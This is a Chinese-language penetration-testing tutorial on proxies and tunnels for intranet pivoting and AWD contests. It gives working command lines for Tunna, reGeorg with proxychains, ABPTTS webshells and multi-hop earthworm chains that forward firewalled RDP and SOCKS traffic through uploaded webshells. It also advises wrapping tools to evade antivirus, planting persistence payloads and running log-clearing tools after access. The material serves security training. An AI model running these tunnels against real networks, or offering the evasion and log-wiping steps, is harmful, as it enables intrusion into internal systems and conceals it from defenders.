代理与通道

代理与通道技术在内网渗透和线下AWD攻防中具有很大的作用,本文主要介绍常用工具和应用场景。

代理

正向代理
借助一台外网机器转发流量到内网。外网机器又两块网卡,一块内网网卡,一块公网网卡。
反向代理
假设内网被种了木马,但从外网无法访问到内网木马,或者内网机器只开放某一个特定的端口,而这个特定端口又不能直接访问。所以需要内网主动连接外网,使内网流量转发到外网。

工具介绍

常用工具
Lcx, frp等一上传就会被杀掉 ,reGeorg和ew目前还不会被杀。
1.Termit -> earthworm升级版
2.Lcz是对windows 3389的转发
3.reGeorg通过上传对应的脚本(php/aspx/jsp),然后全局代理进一步内网渗透。
4.ew可应用于多重网络。

采用TCP连接的比较多,更高级的技术采用P2P连接(如区块链技术)。
总结:
1.windows 系列主机转发3389比较直接,lcx是首选可是会被查杀,可以套一个免杀的壳。重要的还是免杀。
2.Linux系列主机可以转发22,但是需求不如3389大(大多数还是Windows主机)。需要交互式shell的话可直接反弹shell,比如bash nc python等。有时候不需要转发22,只需要为metasploit打开通道就好了,因为一旦溢出会自动反弹shell。
3.Web代理的适用性比较强,reGeorg(可做全局代理)和ew(可做多层代理)都可以,速度和稳定性都OK,而且是命令行执行。挂全局代理(或局部)后,可以nmap/fenghuangscanner/POC-fuzz等,挂代理进行SSRF作用也可能会很大。(码,等待测试)
4.实测Tunna & reDuh速度比较慢,但reDuh在RDP过程中比Tunna快。而且一定会被查杀的。
5.Proxifier操作稍繁琐但强大,挂代理后可远控内网db。
6.Sockscap64(win)& proxychains(linux)局部代理,简便快速。
7.Htran支持全面的支持正反向代理和正反向端口转发,但实际渗透测试中web不会支持随意开端口,故正向端口转发略显鸡肋。
8.SSH转发、NC、bash等反弹方便快捷而且不用上传东西,但是基本会被查杀。9.Powershell直接写代理比较棒。
工具对比
Porttunnel不会被查杀,随意拿下机器后直接装这个软件会更稳些。

Tunna



攻击机是kali,目标机win2008在内网并且具有可以访问的公网ip。
kali里执行:

1
python proxy.py -u http://192.168.48.19/webshells/conn.aspx

将tunna里的木马文件上传到可访问的目录下,这是-u的参数,如这里是http://192.168.48.19/webshells/conn.aspx; -l为kali开放的监听端口,并将流量全部转发到192.168.48.19:3389(-r的参数为转发到内网的端口),即开启远程桌面连接。
这里由于3389被外网防火墙拦住,只开放80端口,故需要内网机器进行转发。

连上3389后可以迅速装上合理合法的工具了/滑稽,打载荷做持久化,接下来传个日志清除工具清除日志。

如果没有出现“无法验证此远程计算机身份,是否仍要连接?”
那么:删除注册表键值

1
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers

删除对应IP键值即可

reGeorg和proxychains

在kali里运行:

1
python reGeorgSocksProxy.py -l 0.0.0.0 -p 8080 -u http://192.168.48.19/tunnel.aspx

上传到服务器上,之后本地访问上传的文件,即可在本地与远程主机形成http回路。
-l 开启本机监听端口,0.0.0.0即绑定本机所有地址,(本机多个ip)即不管访问本机任何ip都可以(要是不写-l就默认是0.0.0.0)。-p为本机开放端口。-u为webshell地址。
Windows下可用proxifier,linux下用proxychains
proxychains配置:
nano /etc/proxychains.conf
底部添加:
socks5 192.168.48.34 8080
nano /etc/proxychains.conf
使用方法
(在需要代理的命令加上)

1
2
3
Proxychains -f /etc/proxychains.conf mysql -h 192.168.48.19 -u root -p 123456
Proxychains nmap
Proxychains sqlmap

Windows下挂上192.168.48.34:8080的全局代理:


全局代理好处在于,通过web可以访问任何端口,适合工具的正常使用。

速度慢可能是因为中间一段通过http协议。

ABPTTS

这是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发,在目前云主机的大环境中,发挥了比较重要的作用,可以通过脚本进行RDP、SSH、meterpreter的交互与连接,也意味着这样可以建立一个通过80端口的流量出站来逃避防火墙。与其他http隧道不同的是,ABPTTS全加密。

每次生成的webshell的config是不一样的,然而它不支持php……但是支持jsp、war等。

生成载荷:

1
python abpttsfactory.py -o webshell


上传到目标机器,注意因为是加密的,所以必须和这次的攻击配对。
上传成功,可以访问。
上传成功,可以访问。
使用:

1
python abpttsclient.py -c webshell/config.txt -u 192.168.48.19/abptts.aspx -f 127.0.0.1:5555/192.168.48.19:3389

-c是加载配置文件(每次生成的都是不一样的)-f为forward,即把对方的3389端口映射到自己的5555端口。可添加多组,每添加一组就-f一次。

Python2.7以上版本出错,未成功。

earthworm

使用参数:

1
2
3
4
5
6
-l 指定本地监听端口(即作为服务器端接收数据用的)
-d 指定要反弹到的机器的ip(内网主动伸手过来要连的主机)
-e 指定要反弹到的机器的端口(和上面的-d配套,用于接收内网反弹)
-f 指定要主动连接的机器的ip
-g 指定要主动连接的机器的端口(即端口映射,和上面的-f配套)
-t 指定超时时常,默认为1000(一般不动)

工作模式:

1
2
3
4
5
6
ssocksd 本地正向socks V5服务器代理,一般在边界两块网卡机器上执行,用于搭建正向代理
rcsocks 在本地运行的,和下面的配套使用
rssocks 目标机器运行的,反弹socks代理
lcx_slave将远程主机的端口与另一台主机建立联系,反弹回来的端口
lcx_tran 将本地端口转发至远程主机,正向
lcx_listen 本地端口转发,本地端口之间建立转发关系

ew正向转发和代理
转发

1
ew -s lcx_tran -l 1080 -f 192.168.48.19 -g 3389


代理

1
ew -s ssocks -l 1024


在边界机上执行命令,在主机上打开Proxifier根据上面监听的端口建立正常的socks代理即可.
ew反向转发和代理
转发
攻击机执行:

1
ew -s lcx_listen -l 1080 -e 8080

即开启1080监听端口接收来自8080转发的数据
目标机执行:

1
ew -s lcx_slave -d 192.168.48.34 -e 8080 -f 192.168.48.19 -g 3389

即将目标机器3389端口转发到攻击机器的8080端口
内网渗透利用
|+———-不——-通———+|
|A<————>B————->C<————>内网|
|+———-不——通———+|
C在本地建立socks5代理,端口为1080,在C执行:

1
ew -s ssocksd -l 1080

B把来自外部的1090端口的流量转到内网C机器的1080端口,所以在B执行:

1
ew -s lcx_tran -l 1090 -f Cip -g 1080

这时候实质访问B的1090端口就相当于C的1080端口

|+———-不——-通——-+|
|A<————-B————->C<————>内网|
|+———-不——通————-+|
A把来自外部的1234端口的流量转发到本地的1080端口,在A上执行:

1
ew -s lcx_listen -l 1080 -e 1234

C在本地启动socks5代理并监听2345端口,在C上执行:

1
ew -s ssocksd -l 2345

B把A的1234端口和C的2345端口进行绑定,即建立socks5通道,在B执行:

1
ew -s lcx_slave -d Aip -e 1234 -f Cip -g 2345

实质访问A的1080端口就相当于访问C的2345端口